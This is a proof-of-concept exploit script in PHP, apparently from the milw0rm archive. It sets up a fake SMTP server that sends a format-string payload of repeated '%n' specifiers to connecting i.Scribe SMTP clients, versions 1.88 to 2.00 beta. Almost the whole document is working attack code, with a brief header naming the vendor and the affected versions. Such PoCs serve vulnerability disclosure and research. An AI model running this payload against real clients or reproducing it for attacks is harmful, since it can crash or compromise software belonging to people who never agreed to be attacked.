i.Scribe SMTP Client 2.00b - 'wscanf' Remote Format String (PoC)

<?php 
//I dont have c lol
/*___=++++++++++++__=--=________*****
 0-- 
  --  i.Scribe smtp client v 1.88 to 2.00 beta
      Format String (wscanf) bug p0c
      vendor : Memecode Software 
      grTs;SiD.psycho 
      A.Luja 27.11.08  

--)(________++++++++++++++++++++---*** 

___00)_- NOTE!!! you must enabled extension=php_sockets.dll in php.ini ___==
          Or just open nc -l -p 25 lol*/
$host= $_SERVER[SERVER_ADDR];
$port= 25;
$ret = "AAAA%n%n%n%n%n%n%n%n%n";
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die ("socket error\n"); 
$bind = socket_bind ($socket, $host, $port) or die ("bind error\n"); 
$listen = socket_listen($socket,1) or die("listen error\n");
printf("--==Fake smtp server ready==----\n");
printf("Now connect here witch iScribe client\n");
if(($acp=socket_accept($socket))!==false){
    printf("Target connected\n");
    sleep(2);
    printf("send evil char\n");
    $hello=socket_write($acp,$ret,strlen($ret));  
    printf("done\n");
    socket_close($acp);
}
socket_close($socket);
exit();
?>

//Alfons Luja

# milw0rm.com [2008-11-27]